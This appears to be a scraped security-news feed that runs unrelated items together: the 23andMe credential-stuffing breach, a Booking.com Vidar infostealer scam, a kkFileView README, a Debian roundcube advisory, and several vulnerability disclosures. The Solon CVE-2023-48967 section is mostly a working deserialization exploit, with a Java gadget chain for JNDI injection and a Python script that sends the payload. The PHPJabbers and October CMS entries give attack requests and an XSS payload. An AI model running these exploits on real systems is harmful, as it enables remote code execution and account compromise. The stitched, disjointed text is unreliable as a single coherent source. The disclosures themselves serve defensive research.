The DNA testing company believes that the attack has now been contained and is notifying impacted individuals.

Source: MichelMond via Alamy Stock Photo

DNA testing company 23andMe has released further details surrounding an October data breach, where user profile information had been accessed and downloaded at the hands of a threat actor.

On Oct. 1, a threat actor made a post on the Dark Web claiming to possess profile information of 23andMe users; later, the perpetrators released 4 million more records they alleged to be stolen from the company. This led the company to launch an investigation alongside third-party experts. In light of the investigation, 23andMe now reports that the information that was accessed without authorization is a small percentage of user accounts (0.1%).

It also confirmed that the incident was a credential-stuffing attack in which usernames and passwords used for the 23andMe website were the same credentials used for other websites, from which they were stolen.

The compromised information varies from user to user but includes ancestry and health information. The threat actor also accessed user files related to 23andMe's DNA Relatives feature and proceeded to post this information online. 

23andMe now believes that the activity of the threat actor has been contained and is providing notice to impacted individuals. It also requires password changes from its users and implemented a two-step authentication login process for its website. 

Multiple class action claims have been filed against the company, and it expects to spend anywhere between $1 million to $2 million in expenses related to the breach in its third fiscal quarter. 

"The recent breach at 23andMe is a sobering reminder of the sensitivity of genetic data and the need for robust cybersecurity measures. The data accessed is not just a collection of email addresses or passwords but intimate details of an individual's genetic makeup — information that could have serious implications for privacy and could potentially be misused," Javvad Malik, lead security awareness advocate at KnowBe4, wrote in an emailed statement. "Credential stuffing is a known threat and relies on the reuse of passwords across multiple services, highlighting the importance of unique passwords and the use of multifactor authentication to protect accounts — but this incident also shows that the responsibility doesn't end with the end-user. Companies holding such sensitive data must constantly evaluate their security posture and educate users about the best security practices."

23andMe: Data Breach Was a Credential-Stuffing Attack

Ssolon <= 2.6.0 and <=2.5.12 is vulnerable to Deserialization of Untrusted Data.

**Issue Description**

We recently discovered that Solon provides 'Fury' as a serialization and deserialization solution for RPC. However, our research has found that the corresponding component has a security vulnerability. Attackers can execute a JNDI injection attack using a carefully constructed attack payload.

**Vulnerability Localization**

  
The vulnerability is located at line 25 of the org.noear.solon.serialization.fury.FuryActionExecutor class, as shown in the figure above. Although Fury provides a built-in blacklist to defend against potential deserialization attacks, we will next demonstrate how to bypass this blacklist to carry out an attack.

**Vulnerability Reproduction****Configuring the RPC Service**

Issue #145 has already provided a simple configuration for an RPC server. We just need to add the following dependencies in the pom.xml file:

    <dependency>
      <groupId>org.noear</groupId>
      <artifactId>solon.serialization.fury</artifactId>
      <version>2.6.0</version>
    </dependency>
    <dependency>
      <groupId>com.caucho</groupId>
      <artifactId>quercus</artifactId>
      <version>4.0.66</version>
    </dependency>
    

**Configuring a Malicious LDAP Server**

We use ysoserial(https://github.com/frohoff/ysoserial) to set up a malicious LDAP server for subsequent JNDI injection attacks(Note that in this instance, we are demonstrating using the well-known exploit chain CommonsCollections2. To achieve a similar effect, please configure the corresponding dependencies on the RPC server side.).

**Proof of Concept**

We can obtain the serialized data required for the attack through the following PoC (Proof of Concept).

    RegistryContext registryContext = new RegistryContext("127.0.0.1", 8989, null);
    MemoryModel memoryModel = new MemoryModel();
    memoryModel.bind("evil", registryContext);
    ContextImpl context = new ContextImpl("rmi://localhost:8888/8tr4qv", memoryModel, null);
    Constructor c = QBindingEnumeration.class.getDeclaredConstructors()[0];
    c.setAccessible(true);
    ArrayList<String> list = new ArrayList<>();
    list.add("/evil/8tr4qv");
    QBindingEnumeration enumeration = (QBindingEnumeration) c.newInstance(context, list);
    XStringForFSB xString = Reflections.createWithoutConstructor(XStringForFSB.class);
    Reflections.setFieldValue(xString, "m_strCache", "nxjkas");
    
    HashMap map1 = new HashMap();
    HashMap map2 = new HashMap();
    map1.put("yy",enumeration);
    map1.put("zZ",xString);
    map2.put("yy",xString);
    map2.put("zZ",enumeration);
    
    HashMap s = new HashMap();
    setFieldValue(s, "size", 2);
    Class nodeC;
    try {
      nodeC = Class.forName("java.util.HashMap$Node");
    }
    catch ( ClassNotFoundException e ) {
      nodeC = Class.forName("java.util.HashMap$Entry");
    }
    Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
    nodeCons.setAccessible(true);
    
    Object tbl = Array.newInstance(nodeC, 2);
    Array.set(tbl, 0, nodeCons.newInstance(0, map1, map1, null));
    Array.set(tbl, 1, nodeCons.newInstance(0, map2, map2, null));
    setFieldValue(s, "table", tbl);
    
    byte[] poc = FuryUtil.fury.serialize(s);
    new FileOutputStream(new File("/tmp/serifury")).write(poc);
    

Subsequently, we can use the Python script below to send the malicious serialized data to the server, completing the exploitation (this Python script is also referenced from Issue #145).

    with open("/tmp/serifury","rb") as f:
        body= f.read()
        print(len(body))
        burp0_url = "http://127.0.0.1:8080/rpc/v1/user/getUser"
        burp0_cookies = {"_jpanonym": "\"OWQ0ZTEzNzBlMWFlYTY2NzhhMDMxOWM5MmYzMjc0MzgjMTY2NTU2NDE1MzAwOCMzMTUzNjAwMCNPR1ZpTkRVd05qWXpZbU0xTkRCaU0yRXlabVpoTlRrek5HUXpabVk1TmpJPQ==\"", "Hm_lvt_bfe2407e37bbaa8dc195c5db42daf96a": "1665564182"}
        ct = "application/fury"
        burp0_headers = {
            "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0",
            "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
            "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "deflate",
            "Connection": "close", "Content-Type": ct, "Upgrade-Insecure-Requests": "1",
            "Sec-Fetch-Dest": "document", "Sec-Fetch-Mode": "navigate", "Sec-Fetch-Site": "none", "Sec-Fetch-User": "?1"}
    
        res = requests.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=body, proxies=proxy)
        print(res.text)
    

**Attack Results**

CVE-2023-48967: A new RCE vulnerability · Issue #226 · noear/solon

By Deeba Ahmed
Vidar infostealer is capable of stealing browsing data, including passwords, cryptocurrency wallet credentials, and other personal information.
This is a post from HackRead.com Read the original post: Sophisticated Booking.com Scam Targeting Guests with Vidar Infostealer

The ‘How To’ guide for targeting Booking.com customers is being offered for sale on the dark web, as well as on underground cybercrime forums, including Russian-speaking platforms such as XSS.IS.

Cybersecurity firm Secureworks is alerting Booking.com customers to a recently identified scam wherein hotels’ Booking.com accounts are compromised to deceive users into divulging their payment details.

This fraudulent activity was detected in October 2023. Researchers have observed that cybercriminals successfully obtained access to hotel login credentials through the utilization of the **Vidar information stealer**.

While this tool is not commonly employed in such scams, in this instance, the Vidar infostealer is utilized to infiltrate the hotel’s Booking.com portal. This unauthorized access enables cybercriminals to peruse upcoming bookings and communicate directly with guests while posing as hotel staff.

Researchers from Secureworks Counter Threat Unit™ (CTU) suspect that this may be part of a broader campaign specifically aimed at targeting Booking.com users. The purloined data is presumed to be traded on underground marketplaces or forums, where it can command a higher price due to the increased potential for defrauding unsuspecting guests.

Characterizing it as a sophisticatedly crafted scam, researchers highlight that the hackers devised an email aimed at gaining the trust of **hotel employees**. The deceptive message purportedly originated from a former guest who reported losing their ID or other valuables, seeking assistance from the hotel staff to locate the items.

The subtlety of this approach meant the employee did not find it suspicious, especially since the email lacked attachments or dubious links, creating the illusion of a genuine request. Consequently, the employee responded and offered assistance.

However, a link within the email, allegedly containing a photo of the lost item, actually served to install the Vidar infostealer. Once activated, this malware illicitly acquires the hotel’s Booking.com login credentials, facilitating unauthorized access to guest reservation details.

The hook in this scam creates a sense of urgency for the guests. The attacker contacts those having reservations at the hotel through Booking.com. Guests receive urgent emails from the hotel demanding immediate payment confirmation to avoid booking cancellation. This doesn’t raise any suspicions.

Rather, it panics the guests, and they click on the provided link. According to Secureworks’ **report**, this leads them to a fake website designed to look like Booking.com, which was created to steal their payment data.

The scammers scam the guests by draining their accounts using the stolen payment data. Moreover, they sell Booking.com credentials on the **Dark Web** for up to $2,000.

The Booking.com phishing email and one of the forums selling Booking.com exploit (Screenshot credit: Secureworks)

Although Booking.com hasn’t been directly breached, the company is cooperating with impacted hotels to improve security and help affected customers. The company emphasized using machine learning to detect suspicious activity and advised hotels and customers to stay vigilant and never provide payment details without verifying the website.

“Due to the rigorous controls and the machine learning capabilities we employ, we can detect and block the overwhelming majority of suspicious activity before it impacts our partners or customers. We have also been sharing additional tips and updates with our partners about what they can do to protect themselves and their businesses, along with the latest information on malware and phishing so that they are as up-to-date as possible on the latest trends that we’re seeing.”

“It’s good to remember that no legitimate transaction will ever require a customer to provide their credit card details by phone, email, or text message (including WhatsApp)”, Booking.com stated.

This incident highlights the evolving tactics of cybercriminals and the importance of vigilance, even for seemingly harmless requests. Hotels should be especially cautious of suspicious emails and enable multi-factor authentication on Booking.com and other platforms to add an extra layer of security.

**Chris Hauk**, Consumer Privacy Advocate at Pixel Privacy, shared his comments with Hackread.com, stating that this scam is designed to target hotels with good reputations.

“This scam preys on hotels that offer good customer service, making the hotel employees believe that they are aiding a customer in retrieving a lost item. This is the first time I’ve heard of scammers taking that approach. The second step in the scam involves using a customer’s Booking.com information to convince the customer that they need to make a payment immediately.”

“Organizations like Booking.com need to work with their partners to ensure that all systems and applications are kept up to date to close security holes. Also, employee training to make them aware of how scammers work is also a must” Hauk added.

****_RELATED ARTICLES_****

1.  **The Benefits Of Blockchain In The Travel Industry**
2.  **Newly Surfaced ThirdEye Infostealer Targeting Windows Devices**
3.  **Fake ChatGPT and AI pages on Facebook are spreading infostealers**
4.  **Hotel reservation platform leaks user data from top online booking sites**
5.  **Hackers steal sensitive data from Japanese search engine for sex hotels**

Sophisticated Booking.com Scam Targeting Guests with Vidar Infostealer

kkFileView v4.3.0 is vulnerable to Incorrect Access Control.

**kkFileView****Introduction**

Document online preview project solution, built using the popular Spring Boot framework for easy setup and deployment. This versatile open source project provides basic support for a wide range of document formats, including:

1.  Supports Office documents such as doc, docx, xls, xlsx, xlsm, ppt, pptx, csv, tsv, , dotm, xlt, xltm, dot, xlam, dotx, xla, ,pages etc.
2.  Supports domestic WPS Office documents such as wps, dps, et , ett,  wpt.
3.  Supports OpenOffice, LibreOffice office documents such as odt, ods, ots, odp, otp, six, ott, fodt and fods.
4.  Supports Visio flowchart files such as vsd, vsdx.
5.  Supports Windows system image files such as wmf, emf.
6.  Supports Photoshop software model files such as psd ,eps.
7.  Supports document formats like pdf, ofd, and rtf.
8.  Supports software model files like xmind.
9.  Support for bpmn workflow files.
10.  Support for eml mail files
11.  Support for epub book documents
12.  Supports 3D model files like obj, 3ds, stl, ply, gltf, glb, off, 3dm, fbx, dae, wrl, 3mf, ifc, brep, step, iges, fcstd, bim, etc.
13.  Supports CAD model files such as dwg, dxf, dwf iges , igs, dwt , dng , ifc , dwfx , stl , cf2 , plt, etc.
14.  Supports all plain text files such as txt, xml (rendering), md (rendering), java, php, py, js, css, etc.
15.  Supports compressed packages such as zip, rar, jar, tar, gzip, 7z, etc.
16.  Supports image previewing (flip, zoom, mirror) of jpg, jpeg, png, gif, bmp, ico, jfif, webp, etc.
17.  Supports image information model files such as tif and tiff.
18.  Supports image format files such as tga.
19.  Supports vector image format files such as svg.
20.  Supports mp3,wav,mp4,flv .
21.  Supports many audio and video format files such as avi, mov, wmv, mkv, 3gp, and rm.
22.  Supports for dcm .
23.  Supports for drawio .

**Features**

*   Build with the popular frame spring boot
*   Easy to build and deploy
*   Basically support online preview of mainstream office documents, such as Doc, docx, Excel, PDF, TXT, zip, rar, pictures, etc
*   REST API
*   Abstract file preview interface so that it is easy to extend more file extensions and develop this project on your own

**Official website and DOCS**

URL：https://kkview.cn

**Live demo**

> Please treat public service kindly, or this would stop at any time.

URL：https://file.kkview.cn

**Contact Us**

> We will answer your questions carefully and solve any problems you encounter while using the project. We also kindly ask that you at least Google or Baidu before asking questions in order to save time and avoid ineffective communication. Let's cherish our lives and stay away from ineffective communication.

**Quick Start**

> Technology stack

*   Spring boot： spring boot Development Reference Guide
*   Freemarker
*   Redisson
*   Jodconverter

> Dependencies

*   Redis(Optional, Unnecessary by default)
*   OpenOffice or LibreOffice(Integrated on Windows, will be installed automatically on Linux, need to be manually installed on Mac OS)

1.  First step：git pull https://github.com/kekingcn/kkFileView.git
    
2.  second step：Run the main method of /server/src/main/java/cn/keking/ServerMain.java. After starting,visit http://localhost:8012/.
    

**Changelog**

> December 14, 2022, version 4.1.0 released:

1.  Updated homepage design by @wsd7747.
2.  Compatible with multipage tif for pdf and jpg conversion and multiple page online preview for tif image preview by @zhangzhen1979.
3.  Optimized docker build, using layered build method by @yl-yue.
4.  Implemented file encryption based on userToken cache by @yl-yue.
5.  Implemented preview for encrypted Word, PPT, and Excel files by @yl-yue.
6.  Upgraded Linux & Docker images to LibreOffice 7.3.
7.  Updated OFD preview component, tif preview component, and added support for PPT watermarking.
8.  Numerous other upgrades, optimizations, and bug fixes. We thank @yl-yue, @wsd7747, @zhangzhen1979, @tomhusky, @shenghuadun, and @kischn.sun for their code contributions.

> July 6, 2021, version 4.0.0 released:

1.  The integration of OpenOffice in the underlying system has been replaced with LibreOffice, resulting in enhanced compatibility and improved preview effects for Office files.
2.  Fixed the directory traversal vulnerability in compressed files.
3.  Fixed the issue where previewing PPT files in PDF mode was ineffective.
4.  Fixed the issue where the front-end display of image preview mode for PPT files was abnormal.
5.  Added a new feature: the file upload function on the homepage can be enabled or disabled in real-time through configuration.
6.  Optimized the logging of Office process shutdown.
7.  Optimized the logic for finding Office components in Windows environment, with built-in LibreOffice taking priority.
8.  Optimized the synchronous execution of starting Office processes.

> June 17, 2021, version 3.6.0 released:

This version includes support for OFD file type versions, and all the important features in this release were contributed by the community. We thank @gaoxingzaq and @zhangxiaoxiao9527 for their code contributions.

1.  Added support for previewing OFD type files. OFD is a domestically produced file format similar to PDF.
2.  Added support for transcoding and previewing video files through ffmpeg. With transcoding enabled, theoretically, all mainstream video file formats such as RM, RMVB, FLV, etc. are supported for preview.
3.  Beautified the preview effect of PPT and PPTX file types, much better looking than the previous version.
4.  Updated the versions of dependencies such as pdfbox, xstream, common-io.

> January 28, 2021:

The final update of the Lunar New Year 2020 has been released, mainly including some UI improvements, bug fixes reported by QQ group users and issues, and most importantly, it is a new version for a good year.

1.  Introduced galimatias to solve the problem of abnormal file download caused by non-standard file names.
2.  Updated UI style of index access demonstration interface.
3.  Updated UI style of markdown file preview.
4.  Updated UI style of XML file preview, adjusted the architecture of text file preview to facilitate expansion.
5.  Updated UI style of simTxT file preview.
6.  Adjusted the UI of continuous preview of multiple images to flip up and down.
7.  Simplified all file download IO operations by adopting the apache-common-io package.
8.  XML file preview supports switching to pure text mode.
9.  Enhanced prompt information when url base64 decoding fails.
10.  Fixed import errors and image preview bug.
11.  Fixed the problem of missing log directory when running the release package.
12.  Fixed the bug of continuous preview of multiple images in the compressed package.
13.  Fixed the problem of no universal matching for file type suffixes in uppercase and lowercase.
14.  Specified the use of the Apache Commons-code implementation for Base64 encoding to fix exceptions occurring in some JDK versions.
15.  Fixed the bug of HTML file preview of text-like files.
16.  Fixed the problem of inability to switch between jpg and pdf when previewing dwg files.
17.  Escaped dangerous characters to prevent reflected xss.
18.  Fixed the problem of duplicate encoding causing the failure of document-to-image preview and standardized the encoding.

> December 27, 2020:

The year-end major update of 2020 includes comprehensive architecture design, complete code refactoring, significant improvement in code quality, and more convenient secondary development. We welcome you to review the source code and contribute to building by raising issues and pull requests.

1.  Adjusted architecture modules, extensively refactored code, and improved code quality by several levels. Please feel free to review.
2.  Enhanced XML file preview effect and added preview of XML document structure.
3.  Added support for markdown file preview, including support for md rendering and switching between source text and preview.
4.  Switched the underlying web server to jetty, resolving the issue: #168
5.  Introduced cpdetector to solve the problem of file encoding recognition.
6.  Adopted double encoding with base64 and urlencode for URLs to completely solve preview problems with bizarre file names.
7.  Added configuration item office.preview.switch.disabled to control the switch of office file preview.
8.  Optimized text file preview logic, transmitting content through Base64 to avoid requesting file content again during preview.
9.  Disabled the image zoom effect in office preview mode to achieve consistent experience with image and pdf preview.
10.  Directly set pdfbox to be compatible with lower version JDK, and there will be no warning prompts even when run in IDEA.
11.  Removed non-essential toolkits like Guava and Hutool to reduce code volume.
12.  Asynchronous loading of Office components speeds up application launch to within 5 seconds.
13.  Reasonable settings of the number of threads in the preview consumption queue.
14.  Fixed the bug where files in compressed packages failed to preview again.
15.  Fixed the bug in image preview.

> May 20th 2020 ：

1.  Support for global watermark and dynamic change of watermark content through parameters
2.  Support for CAD file Preview
3.  Add configuration item base.url, support using nginx reverse proxy and set context-path
4.  All configuration items can be read from environment variables, which is convenient for docker image deployment and large-scale use in cluster
5.  Support the configuration of TrustHost (only the file source from the trust site can be previewed), and protect the preview service from abuse
6.  Support configuration of customize cache cleanup time (cron expression)
7.  All recognizable plain text can be previewed directly without downloading, such as .md .java .py, etc
8.  Support configuration to limit PDF file download after conversion
9.  Optimize Maven packaging configuration to solve the problem of line break in .sh script
10.  Place all CDN dependencies on the front end locally for users without external network connection
11.  Comment Service on home page switched from Sohu ChangYan to gitalk
12.  Fixed preview exceptions that may be caused by special characters in the URL
13.  Fixed the addtask exception of the transformation file queue
14.  Fixed other known issues
15.  Official website build: https://kkview.cn
16.  Official docker image repository build: https://hub.docker.com/r/keking/kkfileview

> June 18th 2019 ：

1.  Support automatic cleaning of cache and preview files
2.  Support http/https stream url file preview
3.  Support FTP url file preview
4.  Add Docker build

> April 8th 2019

1.  Cache and queue implementations abstract, providing JDK and REDIS implementations (REDIS becomes optional dependencies)
2.  Provides zip and tar.gz packages, and provides a one-click startup script

> January 17th 2018

1.  Refined the project directory, abstract file preview interface, Easy to extend more file extensions and depoly this project on your own
2.  Added English documentation (@幻幻Fate，@汝辉) contribution
3.  Support for more image file extensions
4.  Fixed the issue that image carousel in zip file will always start from the first

> January 12th 2018

1.  Support for multiple images preview
2.  Support for images rotation preview in rar/zip

> January 2nd 2018

1.  Fixed gibberish issue when preview a txt document caused by the file encoding problem
2.  Fixed the issue that some module dependencies can not be found
3.  Add a spring boot profile, and support for Multi-environment configuration
4.  Add pdf.js to preview the documents such as doc,etc.,support for generating doc headlines as pdf menu，support for mobile preview

**Sponsor Us**

If this project has been helpful to you, we welcome your sponsorship. Your support is our greatest motivation.！

CVE-2023-48815: GitHub - kekingcn/kkFileView: Universal File Online Preview Project based on Spring-Boot

Debian Linux Security Advisory 5572-1 - Rene Rehme discovered that roundcube, a skinnable AJAX based webmail solution for IMAP servers, did not properly set headers when handling attachments. This would allow an attacker to load arbitrary JavaScript code.

    -----BEGIN PGP SIGNED MESSAGE-----Hash: SHA512- -------------------------------------------------------------------------Debian Security Advisory DSA-5572-1                   security@debian.orghttps://www.debian.org/security/                       Sebastien DelafondDecember 04, 2023                     https://www.debian.org/security/faq- -------------------------------------------------------------------------Package        : roundcubeCVE ID         : CVE-2023-47272Debian Bug     : 1055421Rene Rehme discovered that roundcube, a skinnable AJAX based webmailsolution for IMAP servers, did not properly set headers when handlingattachments. This would allow an attacker to load arbitrary JavaScriptcode.For the oldstable distribution (bullseye), this problem has been fixedin version 1.4.15+dfsg.1-1~deb11u2.For the stable distribution (bookworm), this problem has been fixed inversion 1.6.5+dfsg-1~deb12u1.We recommend that you upgrade your roundcube packages.For the detailed security status of roundcube please refer toits security tracker page at:https://security-tracker.debian.org/tracker/roundcubeFurther information about Debian Security Advisories, how to applythese updates to your system and frequently asked questions can befound at: https://www.debian.org/security/Mailing list: debian-security-announce@lists.debian.org-----BEGIN PGP SIGNATURE-----iQEzBAEBCgAdFiEEAqSkbVtrXP4xJMh3EL6Jg/PVnWQFAmVtkOQACgkQEL6Jg/PVnWTxhQgAimG1yVgg/Ic84EQIqpB014hb/ev5RzapM+xJ5Dwwb1Xs7HMNsvqYBBeXLNIbXgNKkSGF38k3MP2A9aBwyKMV256SVEtKUkiAzCQhX3xsUB5EkpNMXv0GRs9ksjjj/ATwChVVlz5OusTtuDpog44RYGH8CXJTuAVemK2GusdgkrsMu1EvGr7JhtMvjiFW5uYFjI+ADp5KcoIl3AtLCdYhDHz/p687Ze1vJQ0v18jiS2mUMvF7zd8SmwA4uLPAcLIJ+KCyd8A+LYzyWbHVxbxIqMxmuAjQ7TrOH3oE5Be5jN9ShKJv1pj50P2i5/g4H+e5fQ6gQm8oF1CMVJubS1NpIg===KGev-----END PGP SIGNATURE-----

Debian Security Advisory 5572-1

Nikto is an Open Source web server scanner which performs comprehensive tests against web servers for multiple items, including over 3500 potentially dangerous files/CGIs, versions on over 900 servers, and version specific problems on over 250 servers.

Nikto Web Scanner 2.5.0

PHPJabbers Appointment Scheduler version 3.0 suffers from a missing rate limiting control that can allow for resource exhaustion.

    # Exploit Title: PHPJabbers Apointment Scheduler v3.0 - No Rate Limit in Email# Date: 19/11/2023# Exploit Author: BugsBD Limited# Discover by: Rahad Chowdhury# Vendor Homepage: https://www.phpjabbers.com/# Software Link: https://www.phpjabbers.com/appointment-scheduler/# Version: v3.0# Tested on: Windows 10, Windows 11, Linux# CVE-2023-48840Descriptions:PHPJabbers Apointment Scheduler v3.0 is vulnerable to Rate limiting.Rate limiting is implemented in web applications and APIs to preventabuse, such as brute-force attacks or excessive requests that couldlead to resource exhaustion. When a rate limit is bypassed or notproperly enforced, it opens the door for attackers to carry outmalicious activities more quickly than intended, potentially leadingto unauthorized access, data breaches, or service disruption.Steps to Reproduce:1. Request Data:POST /1701529051_590/index.php?controller=pjBaseOptions&action=pjActionAjaxSendHTTP/1.1Host: demo.phpjabbers.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0)Gecko/20100101 Firefox/119.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflate, brContent-Type: application/x-www-form-urlencoded; charset=UTF-8X-Requested-With: XMLHttpRequestContent-Length: 426Origin: https://demo.phpjabbers.comReferer: https://demo.phpjabbers.com/1701529051_590/index.php?controller=pjBaseOptions&action=pjActionEmailSettingsSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: same-originTe: trailersConnection: closeoptions_update=1&next_action=pjActionEmailSettings&email=test1%40test.com&value-enum-o_send_email=mail%7Csmtp%3A%3Amail&value-string-o_smtp_host=&value-int-o_smtp_port=25&value-string-o_smtp_user=&value-string-o_smtp_pass=&value-enum-o_smtp_secure=none%7Cssl%7Ctls%3A%3Anone&value-enum-o_smtp_auth=LOGIN%7CPLAIN%3A%3ALOGIN&value-string-o_smtp_sender=&value-string-o_sender_email=test%40test.com&value-string-o_sender_name=Test2. Send it to intruder and configure then Start Attack and check mail.## Reproduce:[href](https://github.com/bugsbd/CVE/tree/main/2023/CVE-2023-48840)

PHPJabbers Appointment Scheduler 3.0 Missing Rate Limiting

PHPJabbers Appointment Scheduler version 3.0 suffers from multiple persistent cross site scripting vulnerabilities.

    # Exploit Title: PHPJabbers Appointment Scheduler v3.0 - Multiple Stored XSS# Date: 19/11/2023# Exploit Author: BugsBD Limited# Discover by: Rahad Chowdhury# Vendor Homepage: https://www.phpjabbers.com/# Software Link: https://www.phpjabbers.com/appointment-scheduler/# Version: v3.0# Tested on: Windows 10, Windows 11, Linux# CVE-2023-48839Descriptions:PHPJabbers Appointment Scheduler v3.0 is vulnerable to Multiple StoredCross-Site Scripting. Multiple Stored XSS is a type of securityvulnerability that occurs when an application or website allows anattacker to inject malicious scripts into the content that ispermanently stored on the server. Unlike reflected XSS, where themalicious script is embedded in a URL and executed immediately, storedXSS involves the persistent storage of the malicious script on thetarget server, waiting for unsuspecting users to access thecompromised content.Steps to Reproduce:1. Login your panel.2. Vulnerable parameters are "name, plugin_sms_api_key,plugin_sms_country_code, calendar_id, title, country name,customer_name".3. Go to System Menu then click SMS Settings.4. Then use any XSS Payload in "SMS API Key", "Default Country Code"input field and Save.5. You will see popup.## Reproduce:[href](https://github.com/bugsbd/CVE/tree/main/2023/CVE-2023-48839)

PHPJabbers Appointment Scheduler 3.0 Cross Site Scripting

PHPJabbers Appointment Scheduler version 3.0 suffers from multiple html injection vulnerabilities.

    # Exploit Title: PHPJabbers Appointment Scheduler v3.0 - Multiple HTML Injection# Date: 19/11/2023# Exploit Author: BugsBD Limited# Discover by: Rahad Chowdhury# Vendor Homepage: https://www.phpjabbers.com/# Software Link: https://www.phpjabbers.com/appointment-scheduler/# Version: v3.0# Tested on: Windows 10, Windows 11, Linux# CVE-2023-48838Descriptions:PHPJabbers Appointment Scheduler v3.0 is vulnerable to Multiple HTMLInjection. HTML injection, also known as HTML code injection orcross-site scripting (XSS), is a web security vulnerability thatallows an attacker to inject malicious code into a web page that isthen viewed by other users. This can lead to various attacks, such asstealing sensitive information, session hijacking, defacement ofwebsites, or delivering malware to users.Steps to Reproduce:1. Login your panel.2. Go to System Menu then click SMS Settings.3. Then use any HTML Tag in "SMS API Key", "Default Country Code"input field and Save.4. You will see HTML code working here.## Reproduce:[href](https://github.com/bugsbd/CVE/tree/main/2023/CVE-2023-48838)

PHPJabbers Appointment Scheduler 3.0 HTML Injection

October CMS version 3.4.0 suffers from a persistent cross site scripting vulnerability when a user has article posting capabilities.

    OctoberCMS v3.4.0 (Wiki_article) Stored Cross-Site Scripting VulnerabilityVendor: October CMSProduct web page: https://www.octobercms.comAffected version: 3.4.0Summary: OctoberCMS is a self-hosted content management system (CMS)based on the PHP programming language and Laravel web application framework.It supports MySQL, SQLite and PostgreSQL for the database back end anduses a flat file database for the front end structure. The October CMScovers a range of capabilities such as users, permissions, themes, andplugins, and is seen as a simpler alternative to WordPress.Desc: OctoberCMS suffers from stored cross-site scripting vulnerabilitywhen a user with the ability to create an article could perform a storedXSS attack against any other users with the ability to create an article.This can lead to execute arbitrary HTML/JS code in a user's browser sessionin context of an affected site.Tested on: macOS Monterey 12.6.3           Docker 4.12.0 (85629)           PHP/8.1.6Vulnerability discovered by Nazli Soysal Kuran                            @zeroscienceAdvisory ID: ZSL-2023-5807Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5807.php30.10.2023--Stored XSS (EntryRecord[content]):----------------------------------Endpoint: /backend/tailor/entries/wiki_articlePayload: EntryRecord%5Bcontent%5D="<script>alert(1)</script>"

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#web